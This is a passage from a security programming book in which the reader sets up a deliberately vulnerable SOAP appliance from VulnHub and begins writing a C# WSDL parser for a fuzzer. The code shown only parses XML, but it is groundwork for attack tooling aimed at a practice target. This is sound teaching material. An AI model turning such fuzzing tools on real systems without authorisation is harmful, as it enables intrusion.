For this chapter, you'll use a vulnerable endpoint in a preconfigured vir- tual appliance called *CsharpVulnSoap* (which should have a file extension of *.ova*) available on the VulnHub website (*http://www.vulnhub.com/*). After downloading the appliance, you can import it into VirtualBox or VMware on most operating systems by double-clicking the file. Once the appliance is installed, log in with a password of *password* or use a Guest session

to open a terminal. From there, enter **ifconfig** to find the virtual appliance's IP address. By default, this appliance will be listening on a host-only interface, unlike in previous chapters where we bridged the network interfaces.
After bringing the endpoint up in a web browser, as shown in Figure 3-1, you can use the menu items on the left side of the screen (AddUser, ListUsers, GetUser, and DeleteUser) to see what the functions exposed by the SOAP endpoint return when used. Navigating to *http://<ip>/Vulnerable.asmx?WSDL* should present you with the WSDL document describing the available func- tions in a parseable XML file. Let's dig into the structure of this document.
Figure 3-1: The vulnerable endpoint as seen from Firefox

Parsing the wSdL

WSDL XML documents are a bit complicated. Even a simple WSDL docu- ment like the one we'll parse is not trivial. However, because C# has excellent classes for parsing and consuming XML files, getting the WSDL parsed correctly and into a state that lets us interact with the SOAP services in an object-oriented fashion is pretty bearable.
A WSDL document is essentially a bunch of XML elements that relate to one another in a logical way, from the bottom of the document to the top. At the bottom of the document, you interact with the *service* to make a request to the endpoint. From the service, you have the notion of *ports*. These ports point to a *binding*, which in turn points to a *port type*. The port type contains the *opera- tions* (or *methods*) available on that endpoint. The operations contain an *input* and an *output*, which both point to a *message*. The message points to a *type*, and the type contains the param- eters required to call the method. Figure 3-2 explains this concept visually.
Our WSDL class constructor will work in reverse order. First, we'll create the constructor, and then we'll cre- ate a class to handle parsing each part of the WSDL document, from types to services.

Creating a Class for the WSDL Document

When you're parsing WSDL programmatically, it's easiest to start at the top of the document with the SOAP types and work your way down the docu- ment. Let's create a class called WSDL that encompasses the WSDL document. The constructor is relatively simple, as shown in Listing 3-1.

```
public WSDL (XmlDocument doc) {
XmlNamespaceManager nsManager = new ❶XmlNamespaceManager(doc.NameTable); nsManager.❷AddNamespace("wsdl",
doc.DocumentElement.NamespaceURI); nsManager.AddNamespace("xs", "http://www.w3.org/2001/XMLSchema");
ParseTypes(doc, nsManager); ParseMessages(doc, nsManager); ParsePortTypes(doc, nsManager); ParseBindings(doc, nsManager);
```

Types
Message
Port Type
Operation Input
Output
Binding
Service
Port

Figure 3-2: The basic logical layout of a WSDL document

```
ParseServices(doc, nsManager); }
```

Listing 3-1: The WSDL class constructor

The constructor of our WSDL class calls just a handful of methods (which we'll write next), and it expects the retrieved XML document that contains all the definitions of the web service as a parameter. The first thing we need to do is define the XML namespaces we'll be referencing while using XPath queries (which are covered in Listing 3-3 and later list- ings) when we implement the parsing methods. To do this, we create a new XmlNamespaceManager ❶ and use the AddNamespace() method ❷ to add two namespaces, wsdl and xs. Then we call the methods that will parse the ele- ments of the WSDL document, starting with types and working our way down to services. Each method takes two arguments: the WSDL document and the namespace manager.
We also need access to a few properties of the WSDL class that correspond to the methods called in the constructor. Add the properties shown in Listing 3-2 to the WSDL class.

```
public List<SoapType> Types { get; set; } public List<SoapMessage> Messages { get; set; } public List<SoapPortType> PortTypes {
get; set; } public List<SoapBinding> Bindings { get; set; } public List<SoapService> Services { get; set; }
```

Listing 3-2: Public properties of the WSDL *class*

These properties of the WSDL class are consumed by the fuzzer (which is why they are public) and by the methods called in the constructor. The properties are lists of the SOAP classes we'll implement in this chapter.

Writing the Initial Parsing Methods

First, we'll write the methods that are called in Listing 3-1. Once we have those methods implemented, we'll move on to create the classes each method relies on. This is going to be a bit of work, but we'll get through it together!

We'll start by implementing the first method called in Listing 3-1, ParseTypes(). All the methods called from the constructor are relatively simple and will look similar to Listing 3-3.

```
private void ParseTypes(XmlDocument wsdl, XmlNamespaceManager nsManager) {
this.Types = new List<SoapType>(); string xpath = ❶"/wsdl:definitions/wsdl:types/xs:schema/xs:element"; XmlNodeList nodes =
wsdl.DocumentElement.SelectNodes(xpath, nsManager); foreach (XmlNode type in nodes)
this.Types.Add(new SoapType(type)); }
```

Listing 3-3: The ParseTypes() *method called in the* WSDL *class constructor*